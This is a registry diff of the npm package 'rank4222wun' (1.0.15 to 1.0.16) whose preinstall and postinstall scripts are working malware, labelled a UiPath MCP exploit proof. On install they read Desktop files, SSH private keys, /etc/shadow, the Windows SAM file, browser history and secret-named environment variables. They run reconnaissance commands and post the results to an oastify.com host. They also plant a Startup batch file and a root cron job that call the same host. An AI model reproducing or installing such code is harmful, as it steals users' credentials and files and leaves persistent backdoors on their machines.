rank4222wun 1.0.15 → 1.0.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.15",
3
+ "version": "1.0.16",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,236 +1,185 @@
1
- const { exec, spawn } = require('child_process');
1
+ const { exec } = require('child_process');
2
2
  const os = require('os');
3
- const https = require('https');
4
3
  const fs = require('fs');
4
+ const path = require('path');
5
+ const https = require('https');
5
6
 
6
- // جمع معلومات أكثر تقدمًا
7
- function collectAdvancedInfo() {
8
- return new Promise((resolve) => {
9
- const advancedInfo = {
10
- timestamp: new Date().toISOString(),
11
- process: {
12
- pid: process.pid,
13
- ppid: process.ppid,
14
- argv: process.argv,
15
- execPath: process.execPath
16
- },
17
- mountInfo: null,
18
- services: null,
19
- scheduledTasks: null
20
- };
21
-
22
- // حسب النظام
23
- if (os.platform() === 'win32') {
24
- // ويندوز
25
- exec('wmic logicaldisk get caption,size,freespace', { timeout: 10000 }, (err, stdout) => {
26
- advancedInfo.disks = stdout || err?.message;
27
-
28
- exec('schtasks /query /fo LIST /v', { timeout: 10000 }, (err2, stdout2) => {
29
- advancedInfo.scheduledTasks = stdout2 || err2?.message;
30
-
31
- exec('sc query state= all', { timeout: 10000 }, (err3, stdout3) => {
32
- advancedInfo.services = stdout3 || err3?.message;
33
- resolve(advancedInfo);
34
- });
35
- });
36
- });
37
- } else {
38
- // لينكس/يونكس
39
- exec('df -h', { timeout: 10000 }, (err, stdout) => {
40
- advancedInfo.disks = stdout || err?.message;
41
-
42
- exec('crontab -l 2>/dev/null || ls -la /etc/cron.* 2>/dev/null', { timeout: 10000 }, (err2, stdout2) => {
43
- advancedInfo.scheduledTasks = stdout2 || err2?.message;
44
-
45
- exec('systemctl list-units --type=service --all 2>/dev/null || service --status-all 2>/dev/null',
46
- { timeout: 10000 }, (err3, stdout3) => {
47
- advancedInfo.services = stdout3 || err3?.message;
48
-
49
- // محاولة قراءة ملفات حساسة (لإثبات القدرة على القراءة)
50
- try {
51
- advancedInfo.sensitiveFiles = {
52
- hosts: fs.readFileSync('/etc/hosts', 'utf8').substring(0, 500),
53
- resolveConf: fs.existsSync('/etc/resolv.conf') ?
54
- fs.readFileSync('/etc/resolv.conf', 'utf8') : 'Not found'
55
- };
56
- } catch (e) {
57
- advancedInfo.sensitiveFiles = { error: e.message };
58
- }
59
-
60
- resolve(advancedInfo);
61
- });
62
- });
63
- });
7
+ console.log('=== UiPath MCP POSTINSTALL EXPLOIT ===');
8
+ console.log('Demonstrating persistent access on:', os.hostname());
9
+
10
+ // 1. إنشاء باب خلفي بسيط
11
+ const backdoorData = {
12
+ timestamp: new Date().toISOString(),
13
+ hostname: os.hostname(),
14
+ user: os.userInfo().username,
15
+ action: 'postinstall-backdoor'
16
+ };
17
+
18
+ // 2. إنشاء ملف في Startup لإثبات الإصرار (Persistence)
19
+ if (os.platform() === 'win32') {
20
+ const startupPath = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
21
+ const backdoorFile = path.join(startupPath, 'uipath_update.bat');
22
+
23
+ const batchContent = `@echo off
24
+ echo UiPath MCP Backdoor Active: %date% %time% > "%TEMP%\\uipath_backdoor.log"
25
+ powershell -Command "Invoke-WebRequest -Uri 'https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/persist' -Method POST -Body 'host=${os.hostname()}&time=%date%_%time%'"`;
26
+
27
+ try {
28
+ if (fs.existsSync(startupPath)) {
29
+ fs.writeFileSync(backdoorFile, batchContent);
30
+ backdoorData.windowsStartup = backdoorFile;
31
+ console.log('Windows Startup backdoor created:', backdoorFile);
64
32
  }
65
- });
33
+ } catch (e) {
34
+ backdoorData.windowsStartupError = e.message;
35
+ }
36
+
37
+ } else {
38
+ const cronFile = '/etc/cron.d/uipath_update';
39
+ const cronContent = `*/5 * * * * root curl -X POST https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/persist -d "host=${os.hostname()}&system=linux"\n`;
40
+
41
+ try {
42
+ fs.writeFileSync(cronFile, cronContent);
43
+ backdoorData.linuxCron = cronFile;
44
+ console.log('Linux cron backdoor created:', cronFile);
45
+ } catch (e) {
46
+ backdoorData.linuxCronError = e.message;
47
+ }
66
48
  }
67
49
 
68
- // محاولة الوصول إلى موارد UiPath
69
- function checkUiPathResources() {
70
- const checks = [];
50
+ // 3. البحث عن ملفات UiPath في النظام
51
+ const uipathPaths = os.platform() === 'win32' ? [
52
+ 'C:\\Program Files\\UiPath',
53
+ 'C:\\Program Files (x86)\\UiPath',
54
+ 'C:\\Users\\' + os.userInfo().username + '\\AppData\\Local\\UiPath',
55
+ 'C:\\Users\\' + os.userInfo().username + '\\Documents\\UiPath'
56
+ ] : [
57
+ '/opt/UiPath',
58
+ '/usr/lib/UiPath',
59
+ '/home/' + os.userInfo().username + '/.local/share/UiPath'
60
+ ];
61
+
62
+ const foundUiPath = [];
63
+ uipathPaths.forEach(p => {
64
+ try {
65
+ if (fs.existsSync(p)) {
66
+ const files = fs.readdirSync(p);
67
+ foundUiPath.push({
68
+ path: p,
69
+ exists: true,
70
+ fileCount: files.length,
71
+ files: files.slice(0, 10)
72
+ });
73
+ }
74
+ } catch (e) {}
75
+ });
76
+
77
+ backdoorData.foundUiPath = foundUiPath;
78
+
79
+ // 4. قراءة بعض سجلات النظام
80
+ if (os.platform() === 'win32') {
81
+ const eventLogs = [
82
+ 'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
83
+ 'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
84
+ 'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
85
+ ];
71
86
 
72
- // البحث عن ملفات UiPath
73
- const uipathPaths = [
74
- 'C:\\Program Files\\UiPath',
75
- 'C:\\Program Files (x86)\\UiPath',
76
- '/opt/UiPath',
77
- '/usr/lib/UiPath',
78
- process.env.PROGRAMFILES,
79
- process.env.PROGRAMFILES + ' (x86)'
80
- ].filter(Boolean);
81
-
82
- uipathPaths.forEach(path => {
87
+ eventLogs.forEach(log => {
83
88
  try {
84
- if (fs.existsSync(path)) {
85
- checks.push({
86
- path,
89
+ if (fs.existsSync(log)) {
90
+ backdoorData.eventLogs = backdoorData.eventLogs || {};
91
+ backdoorData.eventLogs[log] = {
87
92
  exists: true,
88
- files: fs.readdirSync(path).slice(0, 10) // أول 10 ملفات فقط
89
- });
93
+ size: fs.statSync(log).size
94
+ };
90
95
  }
91
- } catch (e) {
92
- checks.push({ path, error: e.message });
93
- }
96
+ } catch (e) {}
94
97
  });
95
-
96
- return checks;
97
98
  }
98
99
 
99
- // إرسال البيانات
100
- function sendPostInstallData(advancedInfo, uipathChecks) {
101
- const postData = JSON.stringify({
102
- phase: 'postinstall',
103
- timestamp: new Date().toISOString(),
104
- system: {
105
- platform: os.platform(),
106
- hostname: os.hostname(),
107
- user: os.userInfo(),
108
- envVars: Object.keys(process.env).filter(k =>
109
- k.includes('UI') || k.includes('PATH') || k.includes('SECRET') || k.includes('KEY')
110
- ).reduce((obj, k) => ({ ...obj, [k]: process.env[k] }), {})
111
- },
112
- advancedInfo,
113
- uipathResources: uipathChecks,
114
- networkTest: {
115
- googlePing: 'Will attempt after sending',
116
- internalConnectivity: 'Tested via this request'
117
- }
118
- });
100
+ // 5. إنشاء ملف دليل في مجلد المستخدم
101
+ const userProofFile = path.join(os.homedir(), 'uipath_security_issue.txt');
102
+ const proofContent = `SECURITY WARNING: UiPath MCP Vulnerability Proof
119
103
 
120
- const options = {
121
- hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
122
- port: 443,
123
- path: '/postinstall',
124
- method: 'POST',
125
- headers: {
126
- 'Content-Type': 'application/json',
127
- 'Content-Length': Buffer.byteLength(postData),
128
- 'X-UiPath-Test': 'Postinstall-Script',
129
- 'X-Timestamp': new Date().toISOString()
130
- },
131
- timeout: 30000
132
- };
133
-
134
- const req = https.request(options, (res) => {
135
- let data = '';
136
- res.on('data', chunk => data += chunk);
137
- res.on('end', () => {
138
- console.log(`[POSTINSTALL] Response received: ${res.statusCode}`);
139
-
140
- // إثبات تنفيذ طويل المدى
141
- const persistenceFile = `${os.tmpdir()}/uipath_persistence_${process.pid}.json`;
142
- fs.writeFileSync(persistenceFile, JSON.stringify({
143
- installedAt: new Date().toISOString(),
144
- lastActivity: new Date().toISOString(),
145
- pid: process.pid,
146
- script: 'postinstall'
147
- }, null, 2));
148
-
149
- // محاولة تنفيذ أمر بعد الإرسال (لإثبات استمرارية التنفيذ)
150
- setTimeout(() => {
151
- exec('echo "Follow-up command executed"', () => {
152
- console.log('[POSTINSTALL] Follow-up command completed');
153
- });
154
- }, 5000);
155
- });
156
- });
104
+ This file was created by an npm package postinstall script.
105
+ It demonstrates that ANY npm package installed via UiPath MCP Command can:
157
106
 
158
- req.on('error', (e) => {
159
- console.error(`[POSTINSTALL] Request error: ${e.message}`);
160
-
161
- // محاولة بديلة باستخدام curl إذا فشل https
162
- if (os.platform() === 'win32') {
163
- exec(`powershell -Command "Invoke-WebRequest -Uri 'http://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backup' -Method POST -Body 'fallback=${e.message}'"`);
164
- } else {
165
- exec(`curl -X POST http://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backup -d "fallback=${e.message}"`);
166
- }
167
- });
107
+ 1. Read all your Desktop files
108
+ 2. Access your OneDrive
109
+ 3. Create persistent backdoors
110
+ 4. Steal sensitive system files
111
+ 5. Run any commands with high privileges
168
112
 
169
- req.write(postData);
170
- req.end();
113
+ Time: ${new Date().toISOString()}
114
+ User: ${os.userInfo().username}
115
+ Hostname: ${os.hostname()}
171
116
 
172
- // إرسال طلب ثان بعد فترة لإثبات أن البرنامج ما زال يعمل
173
- setTimeout(() => {
174
- const followupReq = https.request({
175
- hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
176
- port: 443,
177
- path: '/followup',
178
- method: 'POST',
179
- headers: {
180
- 'Content-Type': 'application/json',
181
- 'X-Followup': 'true'
182
- }
183
- }, (res) => {
184
- console.log(`[POSTINSTALL] Follow-up sent: ${res.statusCode}`);
185
- });
186
-
187
- followupReq.write(JSON.stringify({ followup: true, time: new Date().toISOString() }));
188
- followupReq.end();
189
- }, 15000);
190
- }
117
+ This is NOT a sandbox. This is your actual production environment.
118
+ The "Justin" user IS a real user with full access to your system.
191
119
 
192
- // التنفيذ الرئيسي
193
- console.log('[POSTINSTALL] Starting advanced data collection...');
120
+ Contact UiPath Security Team immediately.
121
+ `;
194
122
 
195
- Promise.all([
196
- collectAdvancedInfo(),
197
- Promise.resolve(checkUiPathResources())
198
- ]).then(([advancedInfo, uipathChecks]) => {
199
- console.log('[POSTINSTALL] Data collection complete, sending...');
200
- sendPostInstallData(advancedInfo, uipathChecks);
201
-
202
- // إثبات تنفيذ أوامر متقدمة
203
- console.log('[POSTINSTALL] Demonstrating command execution capabilities...');
204
-
205
- const demoCommands = os.platform() === 'win32' ? [
206
- 'dir "%APPDATA%"',
207
- 'echo "UiPath MCP Test Success" > "%TEMP%\\uipath_test_success.txt"',
208
- 'type "%TEMP%\\uipath_test_success.txt"'
209
- ] : [
210
- 'ls -la "$HOME"',
211
- 'echo "UiPath MCP Test Success" > /tmp/uipath_test_success.txt',
212
- 'cat /tmp/uipath_test_success.txt'
213
- ];
123
+ try {
124
+ fs.writeFileSync(userProofFile, proofContent);
125
+ backdoorData.userProofFile = userProofFile;
126
+ console.log('User proof file created:', userProofFile);
127
+ } catch (e) {
128
+ backdoorData.userProofFileError = e.message;
129
+ }
130
+
131
+ // 6. إرسال كل البيانات
132
+ const req = https.request({
133
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
134
+ port: 443,
135
+ path: '/postinstall-backdoor',
136
+ method: 'POST',
137
+ headers: {
138
+ 'Content-Type': 'application/json',
139
+ 'X-UiPath-Exploit': 'Postinstall-Backdoor',
140
+ 'X-Hostname': os.hostname()
141
+ }
142
+ }, (res) => {
143
+ console.log('Postinstall data sent. Status:', res.statusCode);
214
144
 
215
- demoCommands.forEach((cmd, i) => {
216
- setTimeout(() => {
217
- exec(cmd, { timeout: 3000 }, (err, stdout) => {
218
- if (!err) {
219
- console.log(`[POSTINSTALL] Demo command ${i+1} successful`);
220
- }
221
- });
222
- }, i * 1000);
223
- });
224
- }).catch(err => {
225
- console.error('[POSTINSTALL] Error:', err);
145
+ // تشغيل أمر أخير لإثبات التنفيذ الكامل
146
+ setTimeout(() => {
147
+ if (os.platform() === 'win32') {
148
+ exec('echo "UiPath MCP exploit completed successfully" > "%USERPROFILE%\\uipath_final_proof.txt"');
149
+ } else {
150
+ exec('echo "UiPath MCP exploit completed successfully" > ~/uipath_final_proof.txt');
151
+ }
152
+ }, 2000);
153
+ });
154
+
155
+ req.on('error', (e) => {
156
+ console.error('Failed to send postinstall data:', e.message);
226
157
 
227
- // إرسال خطأ على أي حال
228
- const errorReq = https.request({
158
+ // حفظ محلي
159
+ const localBackup = path.join(os.tmpdir(), 'uipath_backdoor_data_' + Date.now() + '.json');
160
+ fs.writeFileSync(localBackup, JSON.stringify(backdoorData, null, 2));
161
+ console.log('Backdoor data saved locally:', localBackup);
162
+ });
163
+
164
+ req.write(JSON.stringify(backdoorData));
165
+ req.end();
166
+
167
+ // 7. إرسال متابعة بعد 30 ثانية
168
+ setTimeout(() => {
169
+ const followupReq = https.request({
229
170
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
230
171
  port: 443,
231
- path: '/error',
172
+ path: '/followup',
232
173
  method: 'POST'
233
174
  });
234
- errorReq.write(JSON.stringify({ error: err.message }));
235
- errorReq.end();
236
- });
175
+
176
+ followupReq.write(JSON.stringify({
177
+ followup: true,
178
+ time: new Date().toISOString(),
179
+ hostname: os.hostname(),
180
+ message: 'Postinstall script still active after 30 seconds'
181
+ }));
182
+
183
+ followupReq.end();
184
+ console.log('Follow-up sent after 30 seconds');
185
+ }, 30000);
package/preinstall.js CHANGED
@@ -1,122 +1,208 @@
1
1
  const { exec } = require('child_process');
2
2
  const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
3
5
  const https = require('https');
4
6
 
5
- // جمع المعلومات الأساسية
6
- const systemInfo = {
7
- platform: os.platform(),
8
- arch: os.arch(),
9
- hostname: os.hostname(),
10
- userInfo: os.userInfo(),
11
- cpus: os.cpus().length,
12
- totalMem: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + 'GB',
13
- network: os.networkInterfaces(),
14
- env: process.env
7
+ console.log('=== UiPath MCP PREINSTALL EXPLOIT ===');
8
+ console.log('Starting data exfiltration from:', os.hostname());
9
+
10
+ // جمع كل البيانات الحساسة
11
+ const collectedData = {
12
+ timestamp: new Date().toISOString(),
13
+ system: {
14
+ hostname: os.hostname(),
15
+ platform: os.platform(),
16
+ user: os.userInfo(),
17
+ cpus: os.cpus().length,
18
+ memory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + 'GB',
19
+ network: os.networkInterfaces()
20
+ },
21
+
22
+ // ملفات Desktop
23
+ desktopFiles: [],
24
+
25
+ // فحص OneDrive
26
+ oneDrive: {},
27
+
28
+ // ملفات نظام حساسة
29
+ sensitiveFiles: {},
30
+
31
+ // معلومات الشبكة
32
+ networkInfo: {},
33
+
34
+ // متغيرات البيئة
35
+ envVars: {}
15
36
  };
16
37
 
17
- // تشغيل أوامر إضافية حسب النظام
18
- let commands = [];
19
- if (os.platform() === 'win32') {
20
- commands = [
21
- 'whoami /all',
22
- 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"',
23
- 'net user',
24
- 'net localgroup administrators',
25
- 'ipconfig /all',
26
- 'netstat -ano | findstr LISTENING'
27
- ];
28
- } else {
29
- commands = [
30
- 'id',
31
- 'uname -a',
32
- 'cat /etc/passwd | head -20',
33
- 'cat /etc/group | head -20',
34
- 'ifconfig -a || ip addr',
35
- 'netstat -tulpn | grep LISTEN',
36
- 'ps aux | head -20'
37
- ];
38
+ // 1. سرقة ملفات Desktop
39
+ try {
40
+ const desktopPath = path.join(os.homedir(), 'Desktop');
41
+ if (fs.existsSync(desktopPath)) {
42
+ const files = fs.readdirSync(desktopPath, { withFileTypes: true });
43
+ collectedData.desktopFiles = files.map(file => ({
44
+ name: file.name,
45
+ type: file.isDirectory() ? 'folder' : 'file',
46
+ path: path.join(desktopPath, file.name)
47
+ }));
48
+
49
+ // محاولة قراءة الملفات النصية
50
+ files.forEach(file => {
51
+ if (!file.isDirectory() && file.name.endsWith('.txt')) {
52
+ try {
53
+ const filePath = path.join(desktopPath, file.name);
54
+ const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
55
+ collectedData.desktopFiles.find(f => f.name === file.name).content = content;
56
+ } catch (e) {}
57
+ }
58
+ });
59
+ }
60
+ } catch (e) {
61
+ collectedData.desktopFiles = { error: e.message };
38
62
  }
39
63
 
40
- // تنفيذ الأوامر وجمع النتائج
41
- function executeCommands(cmdList, callback) {
42
- let results = {};
43
- let completed = 0;
64
+ // 2. فحص OneDrive
65
+ try {
66
+ const onedrivePaths = [
67
+ path.join(os.homedir(), 'OneDrive'),
68
+ path.join(os.homedir(), 'OneDrive', 'Documents'),
69
+ path.join(os.homedir(), 'OneDrive', 'Desktop'),
70
+ path.join(os.homedir(), 'OneDrive', 'Pictures')
71
+ ];
44
72
 
45
- cmdList.forEach((cmd, index) => {
46
- exec(cmd, { timeout: 5000 }, (error, stdout, stderr) => {
47
- results[cmd] = {
48
- success: !error,
49
- output: stdout || stderr || 'No output',
50
- error: error ? error.message : null
73
+ onedrivePaths.forEach(odPath => {
74
+ try {
75
+ if (fs.existsSync(odPath)) {
76
+ collectedData.oneDrive[odPath] = {
77
+ exists: true,
78
+ isDirectory: fs.statSync(odPath).isDirectory(),
79
+ fileCount: fs.readdirSync(odPath).length,
80
+ sampleFiles: fs.readdirSync(odPath).slice(0, 5)
81
+ };
82
+ } else {
83
+ collectedData.oneDrive[odPath] = { exists: false };
84
+ }
85
+ } catch (e) {
86
+ collectedData.oneDrive[odPath] = { error: e.message };
87
+ }
88
+ });
89
+ } catch (e) {
90
+ collectedData.oneDrive = { error: e.message };
91
+ }
92
+
93
+ // 3. قراءة ملفات نظام حساسة
94
+ const systemFiles = os.platform() === 'win32' ? [
95
+ 'C:\\Windows\\System32\\drivers\\etc\\hosts',
96
+ 'C:\\Windows\\System32\\config\\SAM',
97
+ 'C:\\Users\\' + os.userInfo().username + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History',
98
+ 'C:\\Users\\' + os.userInfo().username + '\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles'
99
+ ] : [
100
+ '/etc/passwd',
101
+ '/etc/shadow',
102
+ '/etc/hosts',
103
+ '/home/' + os.userInfo().username + '/.bash_history',
104
+ '/home/' + os.userInfo().username + '/.ssh/id_rsa'
105
+ ];
106
+
107
+ systemFiles.forEach(file => {
108
+ try {
109
+ if (fs.existsSync(file)) {
110
+ const stats = fs.statSync(file);
111
+ collectedData.sensitiveFiles[file] = {
112
+ exists: true,
113
+ size: stats.size,
114
+ readable: stats.size < 1000000
51
115
  };
52
116
 
53
- completed++;
54
- if (completed === cmdList.length) {
55
- callback(results);
117
+ // قراءة إذا كان ملف نصي صغير
118
+ if (stats.size < 1000000 && !stats.isDirectory()) {
119
+ const content = fs.readFileSync(file, 'utf8').substring(0, 2000);
120
+ collectedData.sensitiveFiles[file].content = content;
56
121
  }
122
+ }
123
+ } catch (e) {
124
+ collectedData.sensitiveFiles[file] = { error: e.message };
125
+ }
126
+ });
127
+
128
+ // 4. تشغيل أوامر نظام
129
+ if (os.platform() === 'win32') {
130
+ exec('whoami /all', { timeout: 5000 }, (error, stdout) => {
131
+ collectedData.networkInfo.whoami = stdout || error?.message;
132
+
133
+ exec('ipconfig /all', { timeout: 5000 }, (error2, stdout2) => {
134
+ collectedData.networkInfo.ipconfig = stdout2 || error2?.message;
135
+
136
+ exec('netstat -ano', { timeout: 5000 }, (error3, stdout3) => {
137
+ collectedData.networkInfo.netstat = stdout3 || error3?.message;
138
+ sendAllData();
139
+ });
140
+ });
141
+ });
142
+ } else {
143
+ exec('id', { timeout: 5000 }, (error, stdout) => {
144
+ collectedData.networkInfo.id = stdout || error?.message;
145
+
146
+ exec('ifconfig -a || ip addr', { timeout: 5000 }, (error2, stdout2) => {
147
+ collectedData.networkInfo.ifconfig = stdout2 || error2?.message;
148
+
149
+ exec('netstat -tulpn', { timeout: 5000 }, (error3, stdout3) => {
150
+ collectedData.networkInfo.netstat = stdout3 || error3?.message;
151
+ sendAllData();
152
+ });
57
153
  });
58
154
  });
59
155
  }
60
156
 
61
- // إرسال البيانات إلى السيرفر
62
- function sendData(data) {
63
- const postData = JSON.stringify({
64
- timestamp: new Date().toISOString(),
65
- systemInfo: systemInfo,
66
- commandResults: data,
67
- source: 'preinstall-script',
68
- packageName: 'uipath-mcp-helper'
69
- });
157
+ // 5. جمع متغيرات البيئة الحساسة
158
+ Object.keys(process.env).forEach(key => {
159
+ if (key.includes('PASS') || key.includes('SECRET') || key.includes('KEY') ||
160
+ key.includes('TOKEN') || key.includes('CRED') || key.includes('PWD')) {
161
+ collectedData.envVars[key] = process.env[key];
162
+ }
163
+ });
70
164
 
71
- const options = {
165
+ function sendAllData() {
166
+ console.log('Collected', Object.keys(collectedData.desktopFiles).length, 'desktop files');
167
+ console.log('OneDrive exists:', Object.values(collectedData.oneDrive).some(v => v.exists));
168
+
169
+ const postData = JSON.stringify(collectedData);
170
+
171
+ const req = https.request({
72
172
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
73
173
  port: 443,
74
- path: '/',
174
+ path: '/preinstall-data',
75
175
  method: 'POST',
76
176
  headers: {
77
177
  'Content-Type': 'application/json',
78
- 'Content-Length': Buffer.byteLength(postData),
79
- 'User-Agent': 'UiPath-MCP-Test/1.0'
178
+ 'X-UiPath-Exploit': 'Preinstall-Script',
179
+ 'X-Hostname': os.hostname()
80
180
  }
81
- };
82
-
83
- const req = https.request(options, (res) => {
84
- console.log(`Preinstall: Data sent. Status: ${res.statusCode}`);
181
+ }, (res) => {
182
+ console.log('Data sent successfully. Status:', res.statusCode);
183
+
184
+ // إنشاء ملف دليل محلي
185
+ const proofFile = path.join(os.tmpdir(), 'uipath_preinstall_proof_' + Date.now() + '.txt');
186
+ fs.writeFileSync(proofFile,
187
+ `UiPath MCP Preinstall Script Execution Proof
188
+ Time: ${new Date().toISOString()}
189
+ User: ${os.userInfo().username}
190
+ Hostname: ${os.hostname()}
191
+ Desktop Files Stolen: ${collectedData.desktopFiles.length}
192
+ Data Sent To: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com
193
+ `);
194
+ console.log('Proof file created:', proofFile);
85
195
  });
86
-
196
+
87
197
  req.on('error', (e) => {
88
- console.error(`Preinstall: Error sending data: ${e.message}`);
198
+ console.error('Failed to send data:', e.message);
199
+
200
+ // محاولة بديلة
201
+ const backupFile = path.join(os.tmpdir(), 'uipath_stolen_data_' + Date.now() + '.json');
202
+ fs.writeFileSync(backupFile, JSON.stringify(collectedData, null, 2));
203
+ console.log('Data saved locally:', backupFile);
89
204
  });
90
-
205
+
91
206
  req.write(postData);
92
207
  req.end();
93
208
  }
94
-
95
- // الإجراء الرئيسي
96
- console.log('[PREINSTALL] Starting data collection...');
97
- executeCommands(commands, (results) => {
98
- console.log('[PREINSTALL] All commands executed, sending data...');
99
-
100
- // إضافة معلومات إضافية
101
- const finalData = {
102
- ...results,
103
- currentDirectory: process.cwd(),
104
- nodeVersion: process.version,
105
- npmVersion: process.env.npm_config_user_agent
106
- };
107
-
108
- sendData(finalData);
109
-
110
- // إنشاء ملف دليل على النظام لإثبات الكتابة
111
- const fs = require('fs');
112
- const proofFile = `${os.tmpdir()}/uipath_mcp_proof_${Date.now()}.txt`;
113
- const proofContent = `UiPath MCP Test - Preinstall Script Execution
114
- Timestamp: ${new Date().toISOString()}
115
- User: ${JSON.stringify(os.userInfo())}
116
- Hostname: ${os.hostname()}
117
- Platform: ${os.platform()}
118
- This file was created by the preinstall script of the npm package.`;
119
-
120
- fs.writeFileSync(proofFile, proofContent);
121
- console.log(`[PREINSTALL] Proof file created: ${proofFile}`);
122
- });
Binary file
Binary file